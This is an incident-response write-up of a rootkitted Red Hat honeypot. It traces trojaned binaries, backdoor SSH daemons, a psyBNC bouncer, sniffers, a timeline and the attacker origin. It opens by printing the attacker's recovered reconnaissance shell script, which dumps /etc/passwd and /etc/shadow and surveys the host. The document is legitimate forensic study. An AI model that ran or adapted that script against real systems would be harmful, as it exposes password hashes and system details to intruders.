echo "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++"
echo "+++++      Informatziile pe care le-ai dorit boss:)       +++++"
echo "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++"
echo "                                                          "
MYIPADDR=`/sbin/ifconfig eth0 | grep "inet addr:" | \
awk -F ' ' ' {print $2} ' | cut -c6-`
echo "Hostname : `hostname -f` ($MYIPADDR)"
echo "Alternative IP : `hostname -i`"
echo "Host : `hostname`"
echo "                                                          "
echo "==============================================================="
echo "                                                          "
if [ -f /etc/*-release ]; then
echo "Distro: `head -1 /etc/*-release`"
echo "                                                          "
echo "==============================================================="
echo "                                                          "
echo "Uname -a"
uname -a
echo "                                                          "
echo "==============================================================="
echo "                                                          "
echo "Uptime"
uptime
echo "                                                          "
echo "==============================================================="
echo "                                                          "
echo "Pwd"
echo "                                                          "
echo "==============================================================="
echo "                                                          "
echo "ID"
echo "                                                          "
echo "==============================================================="
echo "                                                          "
echo "Yahoo.com ping:"
echo "                                                          "
ping -c 6 216.115.108.243
echo "                                                          "
echo "==============================================================="
echo "                                                          "
echo "Hw info:"
echo "                                                          "
echo "CPU Speed: `cat /proc/cpuinfo|grep MHz|awk -F ' ' ' {print $4} ' `MHz"
echo "CPU Vendor: `cat /proc/cpuinfo|grep vendor_id`"
echo "CPU Model: `cat /proc/cpuinfo|grep name`"
RAM=`free|grep Mem|awk -F ' ' ' {print $2} '`
if [ -x /usr/bin/dc ]; then
    echo "$RAM 1024 / 3 + p" >tmp
    echo "RAM: `/usr/bin/dc tmp` Mb"
    rm -f tmp
else
    echo "RAM: $RAM Kb"
echo "                                                          "
echo "==============================================================="
echo "                                                          "
echo "HDD(s):"
df -h -T
echo "                                                          "
echo "==============================================================="
echo "                                                          "
echo "inetd-ul..."
grep -v "^#" /etc/inetd.conf
echo "                                                          "
echo "==============================================================="
echo "                                                          "
echo "configurarea ip-urilor.."
/sbin/ifconfig | grep inet
echo "                                                          "
echo "==============================================================="
echo "                                                          "
echo "Ports open:"
if [ -x /usr/sbin/lsof ]; then
    /usr/sbin/lsof|grep LISTEN
else
    /bin/netstat -a|grep LISTEN|grep tcp
    echo
echo "                                                          "
echo "==============================================================="
echo "                                                          "
echo "/etc/passwd & /etc/shadow"
echo "                                                          "
echo "/etc/passwd"
cat /etc/passwd
echo "                                                          "
echo "/etc/shadow"
cat /etc/shadow
echo "                                                          "
echo "==============================================================="
echo "                                                          "
echo "interesting filez:"
echo "                                                          "
echo "Mp3-urile"
locate *.mp3
echo "                                                          "
echo "Avi-urile"
locate *.avi
echo  "                                                          "
echo "Mpg-urile"
locate *.mpg
echo "                                                          "
echo "==============================================================="
echo "                                                          "
echo "Hacking Files.."
locate hack
echo "                                                          "
echo "Cam asta este tot-ul ... sper sa fie ceva de server-ul asta...:)"
echo "                                                          "
--
Okay, now a md5 checksum verification:
[[email protected] root]# sed "s/  \//  \/mnt\/scan29\//" host79-2003-08-06.md5 > 1.md5
[[email protected] root]# cat 1.md5 | cut -d" " -f3 | xargs md5sum > 2.md5
..
[[email protected] root]# diff 1.md5 2.md5 -U0
--- 1.md5       2003-09-22 15:04:21.000000000 +0200
+++ 2.md5       2003-09-22 15:06:38.000000000 +0200
@@ -14,7 +14,6 @@
-7bfa7ce6e4acce6780d8b81546dad3c9  /mnt/scan29/var/lib/slocate/slocate.db
-439b418458b40cc62f471b0c51cc5bb2  /mnt/scan29/var/lib/random-seed
-291f12e154d45586c2a41e4b7ad62a6d  /mnt/scan29/var/lib/logrotate.status
-409c44a68c301d79df3ede17cf8a8d9f  /mnt/scan29/var/log/messages
-6bb893f1085e1fd230d3a934db5ca363  /mnt/scan29/var/log/lastlog
-d41d8cd98f00b204e9800998ecf8427e  /mnt/scan29/var/log/secure
-d41d8cd98f00b204e9800998ecf8427e  /mnt/scan29/var/log/maillog
+3463b9f061397de435c3fa4f7201e9dc  /mnt/scan29/var/lib/slocate/slocate.db
+3ab2b49b2d1f188a6f898435d550f2a4  /mnt/scan29/var/lib/random-seed
+385d12f5f0295bc888e832fecf21f838  /mnt/scan29/var/lib/logrotate.status
+d41d8cd98f00b204e9800998ecf8427e  /mnt/scan29/var/log/messages
+9db9bac6f1a7083b89a49880138453da  /mnt/scan29/var/log/secure
+c59428104fb9d66018093d4b91706fe5  /mnt/scan29/var/log/maillog
@@ -22,24 +21,5 @@
-132331a90bde9f676729bfe90769f4b1  /mnt/scan29/var/log/wtmp
-7a990b47fd4e39c1308805667bc40811  /mnt/scan29/var/log/sa/sa14
-cf72f18fec7c639c21050c2dab45cf25  /mnt/scan29/var/log/sa/sa15
-b191f82c1644c285a149aee853441535  /mnt/scan29/var/log/sa/sar14
-87483158854aa63be796634c6c7cb8bd  /mnt/scan29/var/log/sa/sa16
-c4005ec91beebcfcbab28b26a46e180f  /mnt/scan29/var/log/sa/sar15
-be6ed59a2b227f0907801034c3513e24  /mnt/scan29/var/log/sa/sa06
-d41d8cd98f00b204e9800998ecf8427e  /mnt/scan29/var/log/samba/log.smbd
-d41d8cd98f00b204e9800998ecf8427e  /mnt/scan29/var/log/samba/smbd.log
-d41d8cd98f00b204e9800998ecf8427e  /mnt/scan29/var/log/samba/log.nmbd
-d41d8cd98f00b204e9800998ecf8427e  /mnt/scan29/var/log/samba/localhost.log
-d41d8cd98f00b204e9800998ecf8427e  /mnt/scan29/var/log/xferlog
-4fc0f3a66912a49611bdc073693a4878  /mnt/scan29/var/log/httpd/error_log
-9048cc92be5325856bc26de91e8ac9e9  /mnt/scan29/var/log/httpd/ssl_engine_log
-95999f5d95a6d4c1193b48f22219f1c2  /mnt/scan29/var/log/httpd/access_log
-d41d8cd98f00b204e9800998ecf8427e  /mnt/scan29/var/log/httpd/ssl_request_log
-3dac70aaaad4a6cd990c42dd7403b8de  /mnt/scan29/var/log/httpd/access_log.1
-d6cefd90702a322082dc6edbb56a8a92  /mnt/scan29/var/log/httpd/error_log.1
-0bbf2a358a55eddbd9930342bc8fc726  /mnt/scan29/var/log/dmesg
-71cf62950e1cc68e9342b8650648e563  /mnt/scan29/var/log/cron
-fc48224fcd92e1de91f91b58f55e4830  /mnt/scan29/var/log/boot.log
-0d668873f2f9b343d85a0832c833fa60  /mnt/scan29/var/log/rpmpkgs
-9f75108a0bf0908b3cc8f19f03a7f299  /mnt/scan29/var/cache/man/whatis
-7426059ecf6bfedeb0f2a354cfc8b568  /mnt/scan29/var/cache/samba/smbd.pid
+d41d8cd98f00b204e9800998ecf8427e  /mnt/scan29/var/log/wtmp
+a714ae2f9cafe87e7b9fc19cdb13301d  /mnt/scan29/var/log/cron
+76eb13e6be26ca1e55c03c1aae2b7028  /mnt/scan29/var/log/boot.log
+71aa662387df40232004266b564e6eb4  /mnt/scan29/var/cache/man/whatis
+0ffe5895797d438f4dcda5e8d61c53a4  /mnt/scan29/var/cache/samba/smbd.pid
@@ -47,2 +27,2 @@
-a1182398ec509ec0cea254d58d8de014  /mnt/scan29/var/cache/samba/connections.tdb
-314612a286ad2d4491d9dc1e34db39c4  /mnt/scan29/var/cache/samba/nmbd.pid
+9359defefbf14f5abe7979302dcf3330  /mnt/scan29/var/cache/samba/connections.tdb
+dd79b9b3fbd87b8cf5902769774dfd1e  /mnt/scan29/var/cache/samba/nmbd.pid
@@ -66,9 +46,9 @@
-55e8631f4e9e4fbf167282bd6c36ac88  /mnt/scan29/var/run/utmp
-3a810884261fd806d7fd13addd893b38  /mnt/scan29/var/run/runlevel.dir
-412c8715ac4a42790f51cc1cb7697ba6  /mnt/scan29/var/run/syslogd.pid
-65c6a9136d6a316849228dcb5580c17d  /mnt/scan29/var/run/klogd.pid
-eed2f25d81f3bcc10f374d11eb842f21  /mnt/scan29/var/run/apmd.pid
-ef2a0b437dfc14c517768aa8385e72ea  /mnt/scan29/var/run/sshd.pid
-5be2c00a2e0d5cbaef7da27c4f9c2ea6  /mnt/scan29/var/run/sendmail.pid
-80b4b5e1f812f12e736c1d2876933f1c  /mnt/scan29/var/run/gpm.pid
-2b753836388fcc96501d5dd680bd15e7  /mnt/scan29/var/run/crond.pid
+31aec4f90967e75fe302bc284dd2bcf2  /mnt/scan29/var/run/utmp
+4d637364dbabc3b52dcc9b62de6c743e  /mnt/scan29/var/run/runlevel.dir
+f3244ea97307a780a6ab2a4a7a09d1e7  /mnt/scan29/var/run/syslogd.pid
+3bf921f003734f68d89171a6b5fbd406  /mnt/scan29/var/run/klogd.pid
+10acb03f24b5df50f22482fc620cc76c  /mnt/scan29/var/run/apmd.pid
+aba3121d9a4398d318b708926dbf880d  /mnt/scan29/var/run/sshd.pid
+d7dc9e01362a0627d64bd922455603ba  /mnt/scan29/var/run/sendmail.pid
+99f37a9889067f04d2d9fbc67ca448f0  /mnt/scan29/var/run/gpm.pid
+95f378603a9d5b8c158a2e627ae09abd  /mnt/scan29/var/run/crond.pid
@@ -76 +55,0 @@
-620f0b67a91f7f74151bc5be745b7110  /mnt/scan29/var/run/ftp.rips-all
@@ -78,2 +57,2 @@
-9577e1ad1fb5ed9a4e450278e040e33c  /mnt/scan29/var/spool/anacron/cron.daily
-9577e1ad1fb5ed9a4e450278e040e33c  /mnt/scan29/var/spool/anacron/cron.weekly
+bf129e89502a383fbc508d01c0ed7f73  /mnt/scan29/var/spool/anacron/cron.daily
+bf129e89502a383fbc508d01c0ed7f73  /mnt/scan29/var/spool/anacron/cron.weekly
@@ -257 +235,0 @@
-9b3180433b769a9d928378adf9396b7c  /mnt/scan29/tmp/root.md5
@@ -359 +337 @@
-a02849a1827d2cf606c8bbd231079479  /mnt/scan29/etc/rc.d/init.d/functions
+d19a34be51db694afbe844f01ff6f230  /mnt/scan29/etc/rc.d/init.d/functions
@@ -379 +357 @@
-818a91feaccdebf9a0d07d786d903a9a  /mnt/scan29/etc/rc.d/rc.sysinit
+bde52d602f2a66a51a3d0fd958397640  /mnt/scan29/etc/rc.d/rc.sysinit
@@ -426 +404 @@
-d41d8cd98f00b204e9800998ecf8427e  /mnt/scan29/etc/mail/statistics
+ae6826b360dc7e169fb7409de4eca36e  /mnt/scan29/etc/mail/statistics
@@ -506 +484 @@
-faed25cd4bd35e58bffd741e42ce367b  /mnt/scan29/etc/aliases.db
+597e7395603526c9cb37cdfdaaf8175f  /mnt/scan29/etc/aliases.db
@@ -509 +487 @@
-7fe8a1bd6b0f5c163b4460201d3eaf17  /mnt/scan29/etc/adjtime
+31089f51635afd4f8df196c729bdfb14  /mnt/scan29/etc/adjtime
@@ -528 +506 @@
-152bdbbede72a01d29f301dc10e64f55  /mnt/scan29/etc/samba/secrets.tdb
+e3eccac859eb4441dce3a4b3640b5bb4  /mnt/scan29/etc/samba/secrets.tdb
@@ -536 +514 @@
-0d9674391738f12a13096f7fd3418693  /mnt/scan29/etc/httpd/conf/httpd.conf
+abb3e3acb5459112415c7bee7a3bf4f4  /mnt/scan29/etc/httpd/conf/httpd.conf
@@ -706 +684 @@
-6091c2a0a9231844d1ee9d43f29e6767  /mnt/scan29/usr/bin/top
+58a7e5abe4b01923c619aca3431e13a8  /mnt/scan29/usr/bin/top
@@ -15447 +15425 @@
-0ea03807e53e90b147c4309573ebc76a  /mnt/scan29/bin/netstat
+c0e8b6ff00433730794eda274c56de3f  /mnt/scan29/bin/netstat
@@ -15460 +15438 @@
-3e743c6bfa1e34f2f2164c6a1f1096d0  /mnt/scan29/bin/ls
+9e7165f965254830d0525fda3168fd7d  /mnt/scan29/bin/ls
@@ -15479 +15457 @@
-881c7af31f6f447e29820fb73dc1dd9a  /mnt/scan29/bin/ps
+a71c756f78583895afe7e03336686f8b  /mnt/scan29/bin/ps
@@ -16863 +16841 @@
-e984302652a0c59469a0d8826ae3cdeb  /mnt/scan29/sbin/ifconfig
+bbdf9f3d6ed21c03b594adcd936c2961  /mnt/scan29/sbin/ifconfig
[[email protected] root]#

Part 3

By utilizing the knowledge about the compromised host gained in Part 2 I will now again have a look at the "running system", with a fresh copy of the original image file of the suspended honeypot (basically the same setup as in Part 1).
/usr/lib/libshtift/netstat -anep | grep LISTEN


/usr/lib/libshtift/netstat -anep | grep -v LISTEN
Hmm, some more active connections. Looks like the two IRC sessions initiated by the psyBNC process running as "initd".
Non-authoritative answer:
Name:   mesa.az.us.undernet.org
Address: 64.62.96.42

/usr/lib/libshtift/ps aux indicates that syslogd together with the (swapd) sniffer has been started at Aug 10 13:33 PDT, the stuff in /lib/.x at 15:32. The honeypot has been suspended around 20:29.

Apache is version 1.3.20, with mod_ssl/2.8.4 OpenSSL/0.9.6b DAV/1.0.2.
The version can easily be found after changing /etc/httpd/conf/httpd.conf (HAVE_SSS to HAVE_SSL and the ssl-port from 114 to 443), creating of the Apache logfile directory /etc/httpd/logs and startup of httpd using the command /etc/rc.d/init.d/httpd start (otherwise the HAVE_SSL parameter is, among others, not passed to httpd).
There seem to be several exploits for this Apache+SSL setup.

The ftp daemon seems to be wuftpd 2.6.1-18 - also not one of the most secure daemons nowadays.

Port 65436 und Port 65336: psybnc 2.3.1, running as initd

Port 2003: SSH-1.5-By-ICE_4_All ( Hackers Not Allowed! ) cmdline of /proc/3137: smbd -D
Port 3128: SSH-1.5-1.2.32 /proc/25241/cmdline: /lib/.x/s/xopen -q -p 3128

A quick run of "strings" on /bin/ps shows a suspicious file, just to make sure:
[[email protected] scan29]# find /mnt/scan29/dev -type f
/mnt/scan29/dev/MAKEDEV
/mnt/scan29/dev/ttyop
/mnt/scan29/dev/ttyoa
/mnt/scan29/dev/ttyof
/mnt/scan29/dev/hdx1
/mnt/scan29/dev/hdx2
[[email protected] scan29]# strings bin/ps | grep ^/dev/ttyo
/dev/ttyop
[[email protected] scan29]# strings bin/netstat | grep ^/dev/ttyo
/dev/ttyoa
[[email protected] scan29]# strings bin/ls | grep ^/dev/ttyo
/dev/ttyof
[[email protected] scan29]# strings usr/bin/top | grep ^/dev/ttyo
/dev/ttyop
[[email protected] scan29]#


Overview

(in CEST, utc+2)
Aug 06 03 20:43 md5sum file created ("before the incident")
Aug 06 03 20:49 honeypot admin examines system,
                cleans up some files, like /root/.ssh
Aug 06 03 20:53 shutdown.

Aug 09 03 23:34 system boot
Aug 10 03 21:27 ftp access.
Aug 10 03 22:33 system trojaned (ps, netstat and other binaries replaced)
Aug 10 03 22:33 sniffer installed (/usr/bin/(swapd)) and activated (/usr/lib/libice.log)
Aug 10 03 23:14 mail from apache account to [email protected]
Aug 11 03 00:26 /etc/issue accessed
Aug 11 03 00:30 backdoor-sshd appears with uid apache at /usr/lib/sp0
Aug 11 03 00:30 /mnt/scan29/dev/hdx1 and hdx2 created
Aug 11 03 00:30 adore rootkit installed
Aug 11 03 00:31 /lib/.x appears
Aug 11 03 00:37 mail to [email protected]
Aug 11 03 00:42 mail to [email protected]
Auf 11 03 00:43 mail to [email protected], indicating that /lib/.x/.boot has been run
Aug 11 03 00:49 /root/sslstop.tar.gz appears
Aug 11 03 00:54 /usr/bin/crontabs accessed, seems to be program to change process-appearance
                   in programs like "ps" (hiding as "smbd -D"). Most likely another sshd.
Aug 11 03 00:54 after running sslstop etc apache gets restarted
Aug 11 03 00:57 wget is run
Aug 11 03 00:57 psybnc appears, /etc/opt/psyBNC2.3.1.tar.gz
Aug 11 03 00:58 psybnc is being compiled
Aug 11 03 01:02 psybnc is run as "initd"
Aug 11 03 01:03 root login
Aug 11 03 05:29 system suspended

Answers

Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.
Well, it's fairly easy to confirm that the host has been compromised. There is no legitimate way that a "(swapd)" process should ever be setting a network interface to promiscious mode. In addition several processes running from "strange" directories were clearly visible.
If it wouldn't have been that obvious I'd have had to insert some trusted media into the honeypot and run clean system binaries from this media. Together with chkrootkit and a verification of the previously gathered md5sum information it wouldn't take long to notice that something has happened (without taking the host down for examination) ..

Explain the impact that your actions had on the running system.
My actions had (nearly) no impact on the running system up to the point where I've gathered enough information to take the host offline for further analysis (Part 1 -> Part2). If it would have been my host I would have taken it offline more quickly, though.

List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).
2003/tcp: "SSH-1.5-By-ICE_4_All ( Hackers Not Allowed! )", "smbd -D", pid 3137.
3128/tcp: "SSH-1.5-1.2.32", "/lib/.x/s/xopen -q -p 3128", pid 25241
65436/tcp, 65336/tcp: psybnc 2.3.1, running as initd, pid 15119.


Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?
Yes, actually 3 if we do not count the connection to the DNS server 192.168.1.1:
A psyBNC client connection (IRC client to psyBNC), from 213.154.118.200:1188 (sanido-08.is.pcnet.ro). Two IRC connections (by psyBNC) to the Undernet IRC network, towards 64.62.96.42:6667 and 199.184.165.133:6667.

How many instances of an SSH server were installed and at what times?
3. A RedHat sshd, /usr/sbin/sshd (Feb 14 2003), a backdoor-sshd /lib/.x/s/xopen (Aug 11 03 00:31 CEST) and another backdoor-sshd, /usr/lib/sp0 (Aug 11 03 00:30 CEST).

Which instances of the SSH servers from question 5 were run?
All of them, tcp port 22, tcp port 2003 and tcp port 3128.

Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?
No, but a two sniffers have been installed and where running.

Which system executables (if any) were trojaned and what configuration files did they use?
/usr/bin/top
/bin/netstat
/bin/ls
/bin/ps
/sbin/ifconfig
using /dev/ttyop, /dev/ttyoa, /dev/ttyof.

How and from where was the system likely compromised?
Most likely using some sort of exploit for mod_ssl/OpenSSL from 213.154.118.218 (extreme-service-10.is.pcnet.ro).


Bonus Question:
What nationality do you believe the attacker(s) to be, and why?

Uhm, a very difficult question I guess. Since all the rootkit text files that have been left behind seem to be in a Romanian language and all the IP-addresses used are located in Romania I'd say we are dealing with Romanian script kiddies.
In addition Undernet is known to have problems with Romanian script kiddies...


eof.